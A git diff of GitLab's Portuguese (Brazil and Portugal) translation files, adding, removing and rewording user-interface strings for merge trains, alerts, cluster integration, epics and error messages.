@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Ocorreu um erro ao enviar sua aprovação."
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "A senha de aprovação é inválida."
@@ -29025,9 +29859,6 @@ msgstr "Se o branch %{branch} existir em seu repositório local, você poderá f
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Se o branch %{missingBranchName} existir em seu repositório local, você poderá fazer merge request manualmente usando a linha de comando"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr "Merge realizado por"
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr "Nenhuma aprovação necessária"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "Nenhuma aprovação necessária; você ainda pode aprovar"
-
msgid "mrWidget|Open in Web IDE"
msgstr "Abrir na Web IDE"
@@ -29148,6 +29973,12 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr "Existem conflitos de merge"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
@@ -29157,12 +29988,6 @@ msgstr "Falha ao realizar merge automaticamente"
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "Esse merge request está em processamento"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "Este projeto está arquivado, a escrita foi desativada"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr "ações rápidas"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "registrar"
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr "este documento"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "para ajudar seus contribuintes à se comunicar de maneira eficaz!"
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index a473503134f..6b0b2792c8c 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:48\n"
+"PO-Revision-Date: 2020-09-04 23:10\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] " melhorado em %d pontos"
msgid " or "
msgstr " ou "
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
-msgstr " ou <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s envios adicionais foram omitidos para prevenir problemas de desemp
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr "mais %{firstLabel} +%{labelCount}"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr "%{level_name} não é permitido num grupo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} não é permitido uma vez que o projeto de origem do fork tem uma visibilidade mais baixa."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Iniciado"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} está bloqueado pelo Utilizador do GitLab %{lock_user_id}"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, este problema será encerrado automaticamente."
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} foi enviado ao Akismet com sucesso."
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr "%{state} épicos"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr "(fonte externa)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr "8 horas"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>Apagar</strong> o ramo de origem"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "Um 'Executador' é um processo que executa um trabalho. Podes configurar tantos 'Executadores' quantos precisares."
@@ -1114,7 +1162,7 @@ msgstr "Um membro da equipa de abuso irá, rever a tua denúncia assim que possÃ
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr "Um novo ramo será criado na tua bifurcação e um novo pedido de mescla
msgid "A new impersonation token has been created."
msgstr "Um novo token de representação foi criado."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "Um site HTML simples que usa o Netlify para CI/CD, em vez do GitLab, mas ainda com todos os outros ótimos recursos do GitLab."
@@ -1234,6 +1285,9 @@ msgstr "Data de expiração do acesso"
msgid "Access forbidden. Check your access level."
msgstr "Acesso proibido. Verifica o teu nível de acesso."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "Acesso a(ao) '%{classification_label}' não permitido"
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr "Ativar Central de Serviços"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Ativo"
@@ -1377,12 +1434,6 @@ msgstr[1] "Adicionar %d problemas"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "Adicionar CHANGELOG"
@@ -1497,6 +1548,9 @@ msgstr "Adicionar épico filho a um épico"
msgid "Add comment now"
msgstr "Adicionar comentário agora"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr "Adicionar endereço de email"
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Adicionaa cabeçalho e rodapé aos emails. Por favor, nota que as definições de cor só serão aplicadas dentro da interface da aplicação"
@@ -1521,6 +1578,9 @@ msgstr "Adicionar problemas"
msgid "Add italic text"
msgstr "Adicionar texto em itálico"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Adicionar etiqueta(s)"
@@ -1800,6 +1860,9 @@ msgstr "Seleciona um ficheiro de configuração de pipeline"
msgid "AdminSettings|Select a template"
msgstr "Seleciona um modelo"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr "Especifica um domínio para utilizar por padrão para cada projeto, Revi
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "A configuração de pipeline necessária pode ser selecionada no diretório %{code_start}gitlab-ci%{code_end} dentro do %{link_start}repositório modelo de instância%{link_end} configurado ou das configurações fornecidas pelo GitLab."
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "Ao criar uma nova variável de ambiente, ela será protegida por padrão."
@@ -2042,6 +2108,9 @@ msgstr[1] "Alertas"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr "Todos os endereços de email serão usados para identificar os teus envi
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Todos os recursos estão ativos para os projetos vazios, a partir de modelos ou ao importar, mas poderás desativá-las, posteriormente, nas definições do projeto."
@@ -2471,6 +2540,9 @@ msgstr "Quantidade de tempo (em horas) que os utilizadores podem ignorar a confi
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr "Ocorreu um erro ao buscar o endereço da Central de Serviços."
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Ocorreu um erro ao buscar as listas do painel. Por favor, tenta novamente."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "Ocorreu um erro ao buscar as compilações."
@@ -2753,15 +2837,18 @@ msgstr "Ocorreu um erro ao recuperar as atividades do calendário"
msgid "An error occurred while retrieving diff"
msgstr "Ocorreu um erro ao recuperar o diff"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Ocorreu um erro ao guardar o estado de sobreposição do LDAP. Por favor, tenta novamente."
msgid "An error occurred while saving assignees"
msgstr "Ocorreu um erro ao guardar destinatários"
-msgid "An error occurred while saving the approval settings"
-msgstr "Ocorreu um erro ao guardar as definições de aprovação"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2786,12 +2873,18 @@ msgstr "Ocorreu um erro ao atualizar aprovadores"
msgid "An error occurred while updating the comment"
msgstr "Ocorreu um erro ao atualizar o comentário"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr "Ocorreu um erro ao validar o nome de utilizador"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Ocorreu um erro. Por favor, tenta novamente."
@@ -2870,6 +2963,9 @@ msgstr "Qualquer"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr "abr"
msgid "April"
msgstr "abril"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr "Arquivar projeto"
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr "Tens a certeza de que desejas arquivar este projeto?"
@@ -3223,7 +3322,7 @@ msgstr "Tens a certeza? Todos os enviso que foram assinados com esta chave GPG n
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr "Tens a certeza? Remover esta chave GPG não afeta as confirmações já enviadas."
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr "ID do Artefacto"
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr "Artefactos"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr "Como os dispositivos U2F são somente suportados por alguns navegadores, exigimos que configures uma aplicação de autenticação de dois fatores antes de um dispositivo U2F. Dessa forma, poderás sempre iniciar sessão, mesmo quando estiveres a usar um navegador não suportado."
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} empurrou para o ramo %{branch} de %{project_name} ( %{commit_url} ):"
@@ -3509,7 +3608,7 @@ msgstr "Autorizar"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "Autorizar %{link_to_client} a usar a tua conta?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr "Gestão automática de certificados ao usar %{lets_encrypt_link_start}Va
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Gestão automática de certificados ao usar Vamos Criptografar"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,8 +3815,8 @@ msgstr "Este grupo não tem emblemas"
msgid "Badges|This project has no badges"
msgstr "Este projeto não tem emblemas"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Estás prestes a apagar este emblema. Emblemas apagados <strong>não podem</strong> ser restaurados."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Os teus emblemas"
@@ -3827,6 +3929,9 @@ msgstr "mensalmente"
msgid "BillingPlans|per user"
msgstr "por utilizador"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr "Expandir"
msgid "Boards|View scope"
msgstr "Ver escopo"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "O ramo %{branchName} não foi encontrado no repositório deste projeto."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "O ramo <strong>%{branch_name}</strong> foi criado. Para configurar a implantação automática, seleciona um modelo de Yaml do GitLab CI e envia as tuas alterações. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "Ramo foi alterado"
@@ -4097,6 +4205,9 @@ msgstr "Abrir problemas"
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "Negócios"
@@ -4271,6 +4382,9 @@ msgstr "Canary Deploymentss é uma estratégia CI popular, onde uma pequena porÃ
msgid "Cancel"
msgstr "Cancelar"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr "Verificar disponibilidade de recursos no plano do espaço de nomes"
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Verifica a %{docs_link_start}documentação%{docs_link_end}."
-msgid "Check your .gitlab-ci.yml"
-msgstr "Verifica o teu .gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,8 +4853,8 @@ msgstr "Escolhe o grupo de nível superior para as tuas importações de reposit
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "Escolhe o nível de visibilidade, ativa/desativa os recursos do projeto (problemas, repositório, wiki, snippets) e define as permissões."
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "Escolhe o conteúdo que desejas ver na página de visão geral de um grupo"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Escolhe quais repositórios desejas conectar e executar pipelines de CI/CD."
@@ -4910,9 +5021,15 @@ msgstr "está indisponível: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "Limpar"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr "Fechado"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Problemas Fechados"
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "%{custom_domain_start}Mais informações%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "pode ser usado em vez de um domínio personalizado."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} foi instalado com sucesso no teu cluster Kubernetes"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,14 +5237,17 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "Todos os dados serão apagados e não podem ser restaurados."
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "Permitir que o GitLab gerêncie contas de espaço de nome e de serviço para este cluster."
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
-msgstr "Alternativamente"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -5135,6 +5264,9 @@ msgstr "Ocorreu um erro ao tentar buscar os teus projetos: %{error}"
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Ocorreu um erro ao tentar buscar as máquinas da zona: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "Quaisquer pipelines em execução serão cancelados."
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Escolhe quais aplicações instalar no teu cluster de Kubernetes. O Heml Tiller é necessário para instalar qualquer uma das seguintes aplicações."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Escolhe qual dos teus ambientes usarás este cluster."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr "Os clusters são utilizados ao selecionar o antepassado mais próximo co
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr " Copiar URL da API"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "O Helm simplifica a instalação e a gestão de aplicações do Kubernetes. O Tiller é executado dentro do Kubernetes Cluster e gerência os lançamentos dos teus gráficos."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Se estás a configurar múltiplos clusters e estás a usar o Auto DevOps, %{help_link_start}lê isto primeiro%{help_link_end}."
@@ -5588,8 +5717,8 @@ msgstr "Número de nós"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "O número de nós, deve ser um valor numérico."
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Por favor, digita as informações de acesso do teu cluster do Kubernetes. Se precisares de ajuda, podes ler o nosso %{link_to_help_page} no Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
